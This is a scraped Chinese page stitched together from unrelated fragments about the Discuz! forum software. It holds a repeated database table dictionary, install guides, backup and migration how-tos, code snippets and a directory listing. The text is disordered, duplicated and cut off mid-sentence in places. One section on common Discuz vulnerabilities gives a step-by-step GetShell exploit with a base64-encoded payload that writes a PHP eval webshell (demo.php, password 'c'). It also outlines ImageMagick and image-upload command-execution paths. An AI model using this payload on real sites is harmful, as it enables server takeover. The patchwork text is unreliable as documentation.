Discuz数据表详解方便二次开发
Discuz数据表详解,方便二次开发,有时候还是感觉直接改动数据库比较方便一些Discuz默认库的53个数据表
cdb_access (用户权限表)
uid 用户id
fid 论坛id
allowview 允许浏览
allowpost 允许发新帖
allowreply 允许回复
allowgetattach 允许下载附件
allowpostattach 允许上传附件
cdb_adminactions 关联用户组
admingid 管理组id
disabledactions 关联后的权限
cdb_admingroups 管理组权限设置(3条)…………………表1
admingid 管理组id
alloweditpost 允许编辑帖子
alloweditpoll 允许编辑投票
allowstickthread 允许固定主题
allowmodpost 允许编辑帖子
allowdelpost 允许删除帖子
allowmassprune 允许批量删除帖子
allowrefund 允许强制退款
allowcensorword 允许过滤词语
allowviewip 允许查看用户IP信息
allowbanip 允许禁止IP
allowedituser 允许编辑用户
allowmoduser 允许审核用户
allowbanuser 允许禁止用户访问
allowpostannounce 允许发布公告
allowviewlog 允许查看版主管理记录和用户评分记录disablepostctrl 发贴不受***(不受灌水预防和最大字数等)allowviewrealname 允许查看真实名字
cdb_adminnotes (后台留言表)
id 后台留言id
admin 留言人
access 阅读权限
adminid 管理组id
dateline 发表时间
expiration 过期时间
message 留言内容
cdb_adminsessions 管理记录(0条)
uid 用户id
ip ip
dateline 时间
errorcount 错误次数
cdb_advertisements 后台广告管理…………………………..表3
advid 广告id
available 是否启用
type 类型
displayorder 排列顺序
title 标题
targets 投放范围
parameters 参数
code 代码
starttime 开始时间
endtime 结束时间
cdb_announcements 公告表(0条)………………………….表4 id 公告ID
author 发布者用户名 poster;posterid发布人id
subject 公告标题
displayorder 排列顺序
starttime 公告开始时间
endtime 公告失效时间
message 公告内容
cdb_attachments 附件表(0条)……………..表5
aid 附件数据ID uid 用户id
tid 主题ID
pid 帖子ID
dateline 发布附件时间 postdatetime 发布时间
readperm 阅读权限
filename 附件的原始文件名
description 附件描述
filetype 附件类型
filesize 附件文件的大小
attachment 服务器路径,相对于(config.php中$attachdir值)downloads 下载/浏览次数
width
height
attachment 附件定价/下载用分
cdb_attachtypes 附件类型(0条)
id 数据ID
extension 扩展名
maxsize 最大允许的上传大小
cdb_banned 被禁止访问表……………………..表8
id 禁止访问id
ip1 ip字段1
ip2 ip字段2
ip3 ip字段3
ip4 ip字段4
admin 操作人
dateline 操作时间
expiration 过期时间
cdb_bbcodes 自定义Discuz!代码(3条)…………表9 id 数据ID
available 是否启用
tag 标签
replacement 替换内容
example 使用举例
explanation 代码的解释说明
params 参数个数
nest 嵌套次数
cdb_buddys (好友表)
uid 用户id
buddyid 好友的id
dateline 加入时间
description 备注
cdb_creditslog(积分转帐交易记录表)
uid 用户id
fromto 来自/到
sendcredits 转出积分字段
receivecredits 接受积分字段
send 转出积分
receive 收到积分
dateline 操作时间 paydate
operation 操作
cdb_failedlogins 登陆失败的记录(0条)…………表14 ip IP地址
count 失败的次数
lastupdate 最后尝试登陆时间
cdb_favorites 用户主题收藏(0条)……………….表15 uid 用户id
tid 主题id typeid 类型id
cdb_forumfields 论坛扩展信息表
fid 论坛id
description 论坛简介
password 访问密码
icon 论坛图标
postcredits 自定义发主题增加积分
replycredits 自定义发回复增加积分
redirect 论坛转向 URL
attachextensions 本论坛允许附件类型
moderators 斑竹列表
rules 本论坛规则
threadtypes 主题分类topictypes
viewperm 浏览论坛许可
postperm 发新话题许可
replyperm 发表回复许可
getattachperm 下载/查看附件许可
postattachperm 上传附件许可
cdb_forumlinks 联盟论坛(1条)
id 数据ID
displayorder 显示顺序
name 网站名称
url 地址
note 说明
logo logo地址
cdb_forums 论坛表(1条)
fid 论坛id
fup 上级论坛id
type 论坛类型,cat为分类,forum为论坛,sub为子论坛name 论坛的名字
status 显示论坛
displayorder 显示顺序
styleid 风格方案id
threads 主题数量
posts 帖子数量
todayposts 今日发帖数量
lastpost 最后发表信息
allowsmilies 允许smilies图标
allowhtml 允许html
allowbbcode 允许discuz!代码
allowimgcode 允许[img]标签
allowblog 允许加入blog
allowtrade 允许发起交易
alloweditrules 允许版主修改本论坛规则modnewposts 发帖审核
jammer 启用内容干扰码
disablewatermark 禁用图片附件添加水印inheritedmod 本论坛或分类版主的权力继承到下级论坛autoclose 主题自动关闭
cdb_medals 勋章表
medalid 勋章id
name 勋章名称
available 是否启用
image 图片地址
cdb_memberfields 用户扩展信息表
uid 用户id
nickname 用户昵称
site 主页
alipy 支付宝帐号
icq ICQ
qq QQ
yahoo Yahoo
msn MSN
taobao 淘宝旺旺
location 来自
customstatus 自定义头衔
medals 勋章
avatar 头像
avatarwidth 头像宽度
avatarheight 头像高度
bio 生日
signature 个人签名
sightml html解析后的签名
ignorepm 忽略PM列表(拒绝接受本名单中的用户发来的短消息) groupterms 公众用户组信息
authstr 待审核用户
cdb_members 用户表(1条)………………users 表59
uid 用户id
username 用户名
password 密码(md5)
secques 安全提示问题(独立加密)
gender 性别
adminid 管理组id
groupid 用户组id
groupexpiry 用户组有效期extgroupids 扩展用户组
regip 注册ip
regdate 注册时间
lastip 最后登陆ip
lastvisit 上次访问时间
lastactivity 上次访问时间(记录)lastpost 最后发表时间
posts 发贴数
digestposts 精华帖数
oltime 在线时间
pageviews 页面访问量
credits 总积分
extcredits1 扩展积分1
extcredits2 扩展积分2
extcredits3 扩展积分3
extcredits4 扩展积分4
extcredits5 扩展积分5
extcredits6 扩展积分6
extcredits7 扩展积分7
extcredits8 扩展积分8 avatarshowid 天下秀
email 邮箱
bday 生日
sigstatus 签名是否改动
tpp 每页显示主题数
ppp 每页显示帖子数
styleid 个性定义风格id
dateformat 个性日期格式
timeformat 个性时间格式
pmsound 短消息提示音
showemail 是否公开email地址
newsletter 是否接受论坛通知
invisible 是否隐身登录
timeoffset 时区校正
newpm 是否有新短消息
accessmasks Access标志
cdb_moderators 版主表
uid 用户id
fid 版区id
displayorder 显示顺序
inherited 是否继承
cdb_onlinelist 在线列表定制(4条)……………..表32 groupid 用户组ID
displayorder 显示顺序
title 组头衔
url 用户组图例位置(相对于./images/common目录)cdb_onlinetime 在线时间表………..表33
uid 用户id
thismonth 本月在线时间
total 总计在线时间
lastupdate 最后访问时间
cdb_orders 订单信息表……………………………………………表34
orderid 订单号
status 状态
buyer 购买者
admin 补单操作者
uid 购买人id
amount 数量
price 价格
submitdate 提交日期
confirmdate 确认日期
cdb_paymentlog 帖子买卖表………………………..attachpaymentlog 表6 id username aid postdatetime
uid 用户id
tid 主题id
authorid 作者id
dateline 时间
amount 价格
netamount 作者收入
cdb_plugins 插件管理表pluginid 插件id
available 是否启用
adminid 管理插件的管理组id name 插件名称
identifier 唯一标识符description 描述
datatables 插件的数据表directory 插件目录
copyright 版权信息
modules 记录插件详细信息
cdb_pluginvars
plginvarid 插件变量id pluginid 插件id displayorder 显示顺序
title 标题
description 描述
variable 变量
type 类型
value 数值
extra 存储下拉列表的详细信息cdb_pms 短消息表
pmid 数据ID
msgfrom 发送者名
msgfromid 发送者id
msgtoid 接收者id
folder 文件夹
new 是否为已读
subject 消息标题
dateline 发送时间
message 内容
cdb_polls 投票(0条)
tid 主题ID
pollopts 投票数据
cdb_posts 帖子表(0条)
pid 帖子id
fid 论坛id
tid 主题id
first 是否为主题(1为主题,0为帖子)
author 帖子作者用户名
authorid 帖子作者用户id
subject 帖子标题
dateline 帖子发表时间
message 帖子正文内容
useip 发贴时的IP
invisible 帖子状态(是否是被审核或者是否在回收站)
usesig 是否显示签名
htmlon 是否开启html
bbcodeoff 是否允许Discuz!代码标签smileyoff 是否允许Smile表情图标parseurloff 是否允许自动加链接attachment 是否有附件
rate 本帖子被评分数
ratetimes 本帖子被评分次数
cdb_profilefields 用户栏目定制(0条)fieldid 数据id
available 是否可用
invisible 是否隐藏
title 栏目标题
description 简短描述
size 内容最大长度
displayorder 显示顺序
required 必填内容
unchangeable 不可修改
showinthread 在帖子中显示
selective 是否可选
choices 选项内容
cdb_ranks (用户级别表)
rankid 级别id
ranktitle 发帖数级别头衔
postshigher 发帖数级别阀值
stars 星星数
color 颜色
cdb_ratelog(帖子评分记录表)
pid 帖子id
uid 用户id
username 用户名
extcredits 评分字段
dateline 时间
score 分数
reason 操作原因
cdb_regips (注册ip表(开启新用户注册验证后记录)) ip IP
dateline 时间
count 次数
cdb_rsscaches rss缓存表
lastupdate 最后更新
fid 版块id
tid 主题id
dateline 发表时间
forum 版块名称
author 作者
subject 标题
description 简短描述
cdb_searchindex 论坛搜索索引(0条)………………………….表44 searchid 数据ID
keywords 搜索类型/关键字
searchstring 搜索内容
useip 搜索者IP
uid 用户id
dateline 搜索开始时间
expiration 搜索失效时间
threads 主题数量
tids 主题id多个以,分割
cdb_sessions 在线统计(0条)………..online 表31
sid 数据ID
ip1 IP地址第一栏
ip2 IP地址第二栏
ip3 IP地址第三栏
ip4 IP地址第四栏
uid 用户id
username 用户名
groupid 用户组id
styleid 风格id
invisible 是否隐身登陆
action 当前动作
lastactivity 最后活动时间
lastolupdate 在线时间最后更新
pageviews 页面访问量
seccode 记录验证码
fid 正在浏览的版区id
tid 正在浏览的主题id
bloguid 记录blog用户id
cdb_settings 论坛基本设置表(64条)
variable 变量名
value 赋值
cdb_smilies 论坛表情符号(18条)
id 数据ID
displayorder 显示顺序
type 类别(smiley/icon)
code smilies代码(对于type=smiley有效)
url 图标位置
cdb_stats 论坛统计记录(50条)
type 统计类别
variable 统计的变量名
count 统计计数
cdb_statvars 论坛统计记录(在后台启用了论坛统计以后有记录)type 统计类别
variable 统计的变量名
value 统计的数值
cdb_styles 风格样式(1条)
styleid 风格id
name 风格的名称
available 是否可用
templateid 关联的模板id
cdb_stylevars 风格变量设置(25条)stylevarid 数据ID
styleid 关联的风格id
variable 风格的变量名
substitute 变量赋值
cdb_subscriptions 用户定阅表(0条)uid 订阅用户id
tid 用户订阅的主题id
email 用户email地址
lastnotify 上次email通知时间
cdb_templates 模板表(1条)templateid 数据ID
name 模板的名称
directory 模板所在的目录
copyright 设计者版权信息
cdb_threads 主题表(0条)
tid 主题id
fid 论坛id
iconid 主题前面的表情图标id
typeid 主题类型id
readperm 阅读权限
price 售价
author 作者的用户名
authorid 作者的id
subject 标题
dateline 主题发表时间
lastpost 最后回复者的id
lastposter 最后回复者的用户名
views 浏览次数
replies 回复数量
displayorder 显示顺序(0为普通主题,1~3分别为I,II,III级置顶) highlight 是否高亮显示
digest 是否精华
rate 是否评分
blog 是否加入blog
poll 是否为投票帖
attachment 是否包含附件,且附件类型
moderated 是否被编辑过
closed 主题是否关闭
cdb_threadsmod 主题管理记录表
tid 主题id
uid 用户id
username 用户姓名
下载工具: 1、WampServer2.0h.exe ---PHP集成环境软件 2、UCenter1.5.0/UCenter Home1.5/Discuz! 7.0集成安装包(UC1.5_UCH1.5_DZ7.0_SC_GBK.zip) 安装步骤: 1、找到以上的软件和集成安装包,然后download!呵呵最好是官网上去找都是免费的。。不然下到垃圾软件很麻烦,这里就不提供地址了,上Google就一搜就有! *注意了,WampServer支持很多版本的PHP、Acpche、MySQL,其中2.0h这个版本默认是PHP5.2.9、Acpche2.2.11、MySQL5.1.33对于安装Discuz!,我测试了没问题,其他版本的有出现过兼容性问题,下文详细说明。 2、现在当然是运行手安装了: (这是提示你是否安装过WAPM5 的任何版本,请先保存你的数据,卸载掉WAMP5,删除那个wamp的目录) 单击“是”。 3、继续“Next” 4、选择“I accept the agreement”,然后“Next”。 5、选择安装的目录,比如我放的“F:\wamp”,然后“Next”。 5、选择“Creat a Desktop icon”(在桌面上放个启动图标,看你自己喜好了,无所谓都),然后“Next”。 6、这里就开始安装了单击“Install”。 7、等啊等啊一小会工夫就over了,弹出个对话框,然你选择默认的浏览器,单击“是”。 8、这步到了“PHP mail parameters”,如果你有360安全卫士啥的估计都该提示你添加啥啥的了,360当然是允许了。我们这里需要你填 SMTP:localhost Email:fuwa12345@https://www.wendangku.net/doc/0b10531381.html,(这是我的,你添自己的邮箱),填完“Next”,点“Finish”。 这个时候,程序就安装完毕了,注意此程序在最后已经启动了,细心的朋友会看见桌面右下角,多了一个图标。 *注意:这个图标就是你日常使用WampServer的地方了,它有好几种显示状态,通常显示的白色,如果出现左边一点红色或者黄色(表示Acpche、MySQL啥的没启动),这个往往的启动端口被占用了,比如你正在运行别的mysql程序啊,Acpche程序啊啥的,还有你在看迅雷也会把80端口占用,把那些没用的东东都
Discuz数据表详解方便二次开发 Discuz数据表详解,方便二次开发,有时候还是感觉直接改动数据库比较方便一些Discuz默认库的53个数据表 cdb_access (用户权限表) uid 用户id fid 论坛id allowview 允许浏览 allowpost 允许发新帖 allowreply 允许回复 allowgetattach 允许下载附件 allowpostattach 允许上传附件 cdb_adminactions 关联用户组 admingid 管理组id disabledactions 关联后的权限 cdb_admingroups 管理组权限设置(3条)…………………表1 admingid 管理组id alloweditpost 允许编辑帖子 alloweditpoll 允许编辑投票 allowstickthread 允许固定主题 allowmodpost 允许编辑帖子 allowdelpost 允许删除帖子 allowmassprune 允许批量删除帖子 allowrefund 允许强制退款
allowcensorword 允许过滤词语 allowviewip 允许查看用户IP信息 allowbanip 允许禁止IP allowedituser 允许编辑用户 allowmoduser 允许审核用户 allowbanuser 允许禁止用户访问 allowpostannounce 允许发布公告 allowviewlog 允许查看版主管理记录和用户评分记录disablepostctrl 发贴不受***(不受灌水预防和最大字数等)allowviewrealname 允许查看真实名字 cdb_adminnotes (后台留言表) id 后台留言id admin 留言人 access 阅读权限 adminid 管理组id dateline 发表时间 expiration 过期时间 message 留言内容 cdb_adminsessions 管理记录(0条) uid 用户id ip ip dateline 时间 errorcount 错误次数 cdb_advertisements 后台广告管理…………………………..表3
table = $table; $this->mysqli=new mysqli("localhost","root","1006","test"); $Utf8Sql="set names utf8;"; $this->mysqli->query($Utf8Sql); $initTableSql = "create table if not exists $this->table (`id` tinyint not null auto_increment primary key,`name` char(255) not null);"; $this->mysqli->query($initTableSql); $initMapSql = "create table if not exists map_$this->table (`rid` tinyint not null auto_increment primary key, `name` char(255) not null);"; $this->mysqli->query($initMapSql); $initMapInsertSql = "insert into map_$this->table (`name`) select '$this->table' from dual where not exists (select * from map_$this->table where map_$this->https://www.wendangku.net/doc/0b10531381.html, = '$this->table');"; $this->mysqli->query($initMapInsertSql); } /** * 区间定位获取数据 * @param Integer $minId 最小ID * @param Integer $maxId 最大ID
Discuz! X config_global.php配置注释教程
DZ各个数据表详解 DZ默认库的53个数据表 cdb_access (用户权限表) uid 用户id fid 论坛id allowview 允许浏览 allowpost 允许发新帖 allowreply 允许回复 allowgetattach 允许下载附件 allowpostattach 允许上传附件 cdb_adminactions 关联用户组 admingid 管理组id disabledactions 关联后的权限 cdb_admingroups 管理组权限设置(3条)admingid 管理组id alloweditpost 允许编辑帖子 alloweditpoll 允许编辑投票 allowstickthread 允许固定主题 allowmodpost 允许编辑帖子 allowdelpost 允许删除帖子 allowmassprune 允许批量删除帖子 allowrefund 允许强制退款 allowcensorword 允许过滤词语 allowviewip 允许查看用户IP信息 allowbanip 允许禁止IP allowedituser 允许编辑用户 allowmoduser 允许审核用户 allowbanuser 允许禁止用户访问 allowpostannounce 允许发布公告 allowviewlog 允许查看版主管理记录和用户评分记录 disablepostctrl 发贴不受***(不受灌水预防和最大字数等) cdb_adminnotes (后台留言表) id 后台留言id admin 留言人 access 阅读权限 adminid 管理组id dateline 发表时间 expiration 过期时间 message 留言内容 cdb_adminsessions 管理记录(0条) uid 用户id
Discuz! 是腾讯旗下 Comsenz 公司推出的以社区为基础的专业建站平台,帮助网站实现一站式服务。让论坛(BBS)、个人空间(SNS)、门户(Portal)、群组(Group)、应用开放平台(Open Platform)充分融合于一体,帮助网站实现一站式服务。 说明:本文档用于帮助您全新安装完整的 Discuz! X2.5 一、下载 Discuz! X2.5 官方版到本地或者服务器上 下载地址:点击这里开始下载 二、解压并上传 Discuz! X2.5 程序到服务器且修改相应目录权限 1、上传 Discuz! X2.5 程序到服务器上 解压缩得到如下图所示的三个文件: upload 这个目录下面的所有文件是我们需要上传到服务器上的可用程序文件; readme 目录为产品介绍、授权、安装、升级、转换以及版本更新日志说明; utility 目录为论坛附带工具,包括升级程序。 将其中 upload 目录下的所有文件使用 FTP 软件以二进制方式(常见 FTP 软件二进制的设置方法:点击查看详细说明)上传到空间。如下图所示: ———————————————————————————————————————青年论坛https://www.wendangku.net/doc/0b10531381.html,/电影吧https://www.wendangku.net/doc/0b10531381.html,/ 欢迎访问
2、设置相关目录的文件属性,以便数据文件可以被程序正确读写 使用 FTP 软件登录您的服务器,将服务器上以下目录、以及该目录下面的所有文件的属性设置为 777,Win 主机请设置internet 来宾帐户可读写属性。 ./config/config_global.php ./config/config_ucenter.php ./config ./data ./data/avatar ./data/plugindata ./data/template ./data/threadcache ./data/attachment ./data/attachment/album ./data/attachment/forum ./data/attachment/group ./data/log ./uc_client/data/cache ./uc_server/data/ ./uc_server/data/cache ./uc_server/data/avatar ./uc_server/data/backup ./uc_server/data/logs ./uc_server/data/tmp ./uc_server/data/view 关于目录权限修改可以参考:点击查看详细说明 三、安装过程 上传完毕后,开始在浏览器中安装 Discuz! X2.5,在浏览器中运行 https://www.wendangku.net/doc/0b10531381.html,/bbs/install/开始全新安装(其中https://www.wendangku.net/doc/0b10531381.html,/bbs 为你的站点访问地址)
刚刚完成了搬家!心里有点小激动。我说下我的搬家过程! 在论坛里面看的那些试了好几个都不适用!写下自己亲自搬家的经验! 1 将旧站空间的所有文件(看好,是空间里面的文件,不包括数据库里的文件)压缩好后,下载到本地。 2 将旧站下载到本地的文件上传到新站!并解压! 3 下载“帝国备份王”软件(这个软件确实很人性化),将软件上传到新站的根目录! 4 打开http://你的域名/ebak(帝国备份王的的文件),进入(初次使用用户名admin密码123456)之后,点击左边的数据库设置,写下你就站的数据库信息! 5 当参数设置成功后,点击“帝国备份”左侧的“备份数据”,将会进入“备份参数设置”页,此时参数虽多,但几乎您不需要更改任何东西,唯一需要做的只是记住备份目录就行了,最后点击“开始备份”即可 6 当提示“备份完毕”后,就需要将已经成功备份的数据恢复到新的数据库中了。点击“帝国
备份”软件左侧的“参数设置”,将我公司给您分配的MYSQL数据库的相关信息填写进去即可。 7 当新的数据库信息设置完毕后,点击左侧的“恢复数据”,选择刚才备份的目录,并点击“开始”恢复即可。 10 当系统提示“数据还原完毕”时,则证明数据迁移已经完成,接下来打开新站里面的config/config_global.php 和config_ucenter.php 还有uc_server/data/config.inc.php:三个文件。
$dbuser = '数据库名'; // 数据库用户名 $dbpw = '数据库密码'; // 数据库密码 $dbname = '数据库名'; // 数据库名 也就是上面三个文件中凡是出现以前数据库名和密码的地方,都改为现在的!另注:如果搬家之后域名也改变了,修改config_ucenter.php的这行代码:define('UC_API', 'http://www.你的域名.com/uc_server'); 好了,就可以打开站了!
* * @param $uid - 用户ID * @param $size - 头像大小 small/middle/big * @param $returnsrc - 是否返回头像地址 */ function discuz_uc_avatar($uid, $size = '', $returnsrc = FALSE) { ...... } ====== 1 ====== /** * 论坛附件删除 * @param $attach - 单一附件数据 */ function dunlink($attach) { ...... } ====== 2 ====== /** 权限表达式 * @param $formula - 权限表达式 */ function formulaperm($formula) { ...... } ====== 3 ====== /** 勋章权限表达式 * @param $formula - 勋章权限表达式 * @param $type - 1 权限验证 2 勋章字串 */ function medalformulaperm($formula, $type) { ......
====== 4 ====== /** * vip用户购买组权限是否到期 * @param $terms 期限来源于 memberfields 表的 groupterms 字段* @return 返回过期信息 */ function groupexpiry($terms) { ...... } ====== 5 ====== /** * 返回当前链接的域名 * @return 返回域名 */ //清理到程序中 function site() { return $_SERVER['HTTP_HOST']; } ====== 6 ====== /** * 显示主题分类 * @param $curtypeid - 当前被选择的类型id * @return 返回的HTML数据 */ //使用较少 function typeselect($curtypeid = 0) { ...... } ======
Discuz!是目前应用最为广泛的PHP论坛,以运行高效,维护方便,搭建简单而著称。很多用户都搭建了自己的Discuz!论坛,在使用过程中会遇到诸如空间服务提供商主机出问题,Discuz!论坛版本升级,安装各种插件造成论坛崩溃的问题,如何才能保证在这些问题发生后依然可以继续使用论坛呢?其中的关键就是将自己论坛的数据库备份好,只要数据库还在那么恢复论坛完好无损就是一个简单的工作。今天笔者就为各位介绍如何备份和恢复Discuz!论坛数据库。 一,Discuz!论坛数据库简介: 在我们学习备份和恢复Discuz!论坛数据库之前需要了解其自身机理。我们现在使用的Discuz!论坛所用数据库是MYSQL数据库。他也是目前为止与PHP兼容性最好的数据库。在实际使用中我们只需要把论坛对应的数据库文件备份出来即可,这个数据库文件将包括论坛所有表内容以及各个参数信息。 我们有两种方法来备份和恢复Discuz!数据库,一个是通过Discuz!论坛内置的数据库备份功能来实现,而另外一个则是通过MYSQL数据库专业备份工具——PHPMYADMIN来实现。不管是哪种方法我们都可以在备份后轻松的将论坛恢复。各个帖子各个主题以及所有用户及其权限完好如初。 二,通过Discuz!内置备份功能保存数据库: 安装并运行Discuz!论坛一段时间后我们可以通过其后台的备份功能保存数据库文件。 第一步:用管理员权限登录论坛,在首页点右上角的“系统设置”进入后台管理界面。(如图1)
第二步:后台管理界面中我们在左侧找到“数据库->资料备份”。然后你会看到“数据备份类型”选项,一般我们保持默认的“标准备份”即可,他将备份包括常用的数据表在内的数据信息。如果是选择“全部备份”则保存全部论坛数据表内容,“最小备份”则是保存包括用户,板块设置及系统设置在内的数据,另外如果我们对数据库并不是十分了解的话,不建议大家通过“自定义备份”来设置。(如图2) 小提示: 在我们进行数据库备份类型设置时即使选择了全部备份也应该注意一点,那就是这样备份的信息里是不包括模板文件和附件文件的。模板和附件还有用户自定义头像等信息的备份只能
-------------------------------------------------------------------------------------------------------------------------- 本资料由郑州网站建设E网中国(https://www.wendangku.net/doc/0b10531381.html,)整理编辑,未经许可不得转载。。郑州网站建设,郑州网站设计制作,郑州网络公司,网站优化,网站推广,网站搜索引擎优化请找专业郑州网站建设E网中国 -------------------------------------------------------------------------------------------------------------------------- 一、Discuz!社区动力论坛系统简介: CrossdayDiscuz! Board 论坛系统(简称Discuz! 论坛,中国国家版权局著作权登记号2006SR11895)是一个采用PHP 和MySQL 等其他多种数据库构建的高效论坛解决方案。论坛软件系统亦称电子公告板(BBS)系统,它伴随社区BBS的流行而成为互联网最重要的应用之一,也逐渐成为网站核心竞争力的标志性体现。作为商业软件产品,Discuz! 在代码质量,运行效率,负载 能力,安全等级,功能可操控性和权限严密性等方面都在广大用户中有良好的口碑。2006年7月CNNIC 发布的最新统计表明,43.2% 的中国网民经常使用论坛/BBS/讨论组,论坛社区应用首次超过即时通讯 IM ,成为仅次于收发Email的互联网基本应用。 Crossday Discuz! Board(以下简称 Discuz!,中国国家版权局著作权登记号 2006SR11895)是康盛创想(北京)科技有限公司(英文简称Comsenz)推出的一套通用的社区论坛软件系统,用户可以在不需要任何编程的基础上,通过简单的设置和安装,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的论坛服务。Discuz! 的基础架构采用世界上最流行的 web 编程组合 PHP+MySQL 实现,是一个经过完善设计,适用于各种服务器环境的高效论坛系统解决方案。 作为国内最大的社区软件及服务提供商,Comsenz旗下的 Discuz! 开发组具有丰富的 web 应用程序设计经验,尤其在论坛产品及相关领域,经过长期创新性开发,掌握了一整套从算法,数据结构到产品安全性方面的领先技术。凭借 Discuz! 开发组长期积累的丰富的 web 开发及数据库经验,和强于创新,追求完美的设计理念,使得 Discuz! 在很短时间内以其鲜明的个性特色从国内外同类产品中脱颖而出。经过了效率最优化和负载能力最佳化设计的 Discuz! ,已获得业内越来越多专家和权威企业的认可。 使得 Discuz! 无论在稳定性,负载能力,安全保障等方面都居于国内外同类产品领先地位。 二、Discuz! 适用于以下的应用领域: 对稳定性和负载能力要求较高的门户网站大中型企业的客户在线调查、技术与产品服务企事业单位内部交流与沟通,办公协作与自动化(OA)大中专院校的学生、教工与校友讨论区已经发展到一定规模,具有相当访问量的个人网站商业、交友、科技、影音、下载等等方面的专门网站地方政府、电信公司或爱好者建立的地域性讨论区以上仅是一些常见应用领域的举例,事实上,Discuz! 因其全面的功能设计和可圈点的安全防范,几乎适用于所有需要互动和交流功能的网站,尤其是已经具备相当规模,且经常因为服务器资源耗尽、安全问题或其他原因而损失人气的中大型应用案例。同时我们也不断吸取用户的意见和建议,在现有系统的基础上,降低应用门槛、简化和人性化使用操作,有的放矢的进行功能扩充,使Discuz! 适用于更多的应用领域。 三、Discuz!重点功能: A 性能优化内置完善的解决方案,继续提升产品负载能力 B 短消息增加多人会话模式,并支持后台批量搜索管理
一、环境配置 选择的服务器环境是WINXP+II5,首先请确保电脑上的IIS已经配置完成,并且IIS 的主目录指向D:\WEB。 1、让服务器支持PHP。我选择的是php-4.3.11-Win32.zip 解压缩PHP压缩包到C:\PHP(这个路径可以随意,不过以下要是用到这个路径,请相应的修改)。 复制C:\PHP目录下的php4ts.dll及C:\PHP\dlls目录下的所有文件到windows的c:\windows\system32文件夹里: 其中C:为你现在所使用的操作系统的系统盘,如果你目前操作系统不是安装在C:\windows下,请相应做出修改。 复制php.ini-dist到C:\windows下,并将其改名为php.ini。然后用记事本打开,利用记事本的查找功能搜索extension_dir = "./",并将其路径指到你的PHP 目录下的extensions 目录,比如:extension_dir = "C:\PHP\extensions";再搜索register_globals = Off,将Off 改成On,直接保存关闭php.ini 即可。 2、让服务器支持MYSQL。我选择的是mysql-4.0.20d-win.zip 下载获得Mysql的for win32安装包后,用winzip解压缩,直接运行setup.exe,需要注意的是选择一个安装路径,当然,安装路径可以任意,建议选择C:\MySQL目录。安装完成后MySQL也就完成了。默认的用户名是root,密码为空。 进入C:\mysql\bin\,双击winmysqladmin.exe,就可以启动MYSQL数据库了(此时在系统托盘处可以看到图标) 3、让IIS对PHP进行解析。 请按以下图示操作
0x00 网站快照劫持:DZ常见漏洞利用分析 0x01Discuz上传图片附件实现远程命令执行漏洞 漏洞产生过程:forum_image.php中的$w,$h变量可控,末处理直接传入Thumb()函数,经该函数传入Thumb_IM()函数,最终调用exec()导致远程命令执行漏洞。 通过分析可知:需要forum.php调用image_class模块调用图像预览功能,后台上传设置为ImagicMagick库,默认为GD库渲染。前台登录发贴上传图片附件。 提示: forum.php是常被利用的文件(论坛首页入口组件),论坛附件上传是个突破口。 0x02ImageMagick远程执行漏洞分析及利用 目前所有版本的Graphicsmagick和ImageMagick都支持打开文件,当文件名的第一个字符为‘|’,则文件名会被传递给shell程序执行,导致(可能远程)代码执行。 提示:ImageMagick图片程序对文件名处理机制存在漏洞 0x03Discuz GetShell(获取权限)漏洞EXP 1.注册任意账户,登陆用户,发表blog日志(注意是日志) 2.添加图片,选择网络图片,地址 {${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV 2YWwoJF9QT1NUW2NdKTsgPz5vaw))}} 3.访问日志,论坛根目录下生成demo.php,一句话密码c 由0x01、0x02与0x03可知论坛上传图片是被利用最常见的漏洞,管理员们要注意把控。 0x04 Discuz获取UC key Getshell(获取权限)。 知道UC的appkey的情况下getshell,问题的根源在于api/uc.php
D i s c u z数据库格式
Discuz!4.0.0正式版数据字典 默认库共53个数据表,(以下表数据量注释均为默认) cdb_access (用户权限表) uid 用户id fid 论坛id allowview 允许浏览 allowpost 允许发新帖 allowreply 允许回复 allowgetattach 允许下载附件 allowpostattach 允许上传附件 cdb_adminactions 关联用户组 admingid 管理组id disabledactions 关联后的权限 cdb_admingroups 管理组权限设置(3条) admingid 管理组id alloweditpost 允许编辑帖子 alloweditpoll 允许编辑投票 allowstickthread 允许固定主题 allowmodpost 允许编辑帖子 allowdelpost 允许删除帖子 allowmassprune 允许批量删除帖子 allowrefund 允许强制退款 allowcensorword 允许过滤词语 allowviewip 允许查看用户IP信息 allowbanip 允许禁止IP allowedituser 允许编辑用户 allowmoduser 允许审核用户 allowbanuser 允许禁止用户访问 allowpostannounce 允许发布公告 allowviewlog 允许查看版主管理记录和用户评分记录disablepostctrl 发贴不受限制(不受灌水预防和最大字数等) cdb_adminnotes (后台留言表) id 后台留言id admin 留言人 access 阅读权限 adminid 管理组id dateline 发表时间 expiration 过期时间 message 留言内容
目录+文件篇: | -- admin.php 管理员入口 | -- api.php 接口文件 | -- category.php 分类入口 | -- cp.php 个人资料设置入口 | -- crossdomain.xml FLASH跨域传输文件 | -- favicon.ico 系统icon图标 | -- forum.php 广场入口 | -- group.php 群组入口 | -- home.php 空间入口 | -- index.php 首页入口 | -- ivite.php 邀请处理文件 | -- member.php 用户处理文件 | -- misc.php 杂项处理文件 | -- plugin.php 插件处理文件 | -- portal.php 站点首页入口同index.php | -- robots.txt 搜索引擎蜘蛛限制配置文件 | -- search.php 搜索入口文件 | -- userapp.php 用户应用、游戏、漫游入口文件 | -- static 系统用到的图片包 | -- template 系统总模板目录 | -- uc_client ucenter客户端程序 | -- uc_server FULL版本中ucenter服务端 | -- api 接口文件夹 | -- api -- db | -- api -- db -- dbbak.php 接口调用中用到的数据库备份文件,内涵数据库类 | -- api -- javascript -- advertisemen.php 广告调用接口 | -- api -- javascript -- javascript.php js调用接口 | -- api -- manyou 漫游平台调用接口文件夹 | -- api -- manyou -- class 漫游接口中需要用到的类的文件夹 | -- api -- manyou -- Manyou.php 漫游接口文件 | -- api -- manyou -- my.php 继承与manyou.php,用来执行更新用户资料的借口文件 | -- api -- mobile 移动手机设备接口文件夹,这个文件夹中包含了大量的用户手机浏览器客户端显示的模板和执行文件。 | -- api -- trade 在线支付平台接口文件夹,内涵支付宝,财付通等接口文件,本目录的文件需要FTP二进制上传。 | -- config Discuz!x1的配置文件目录
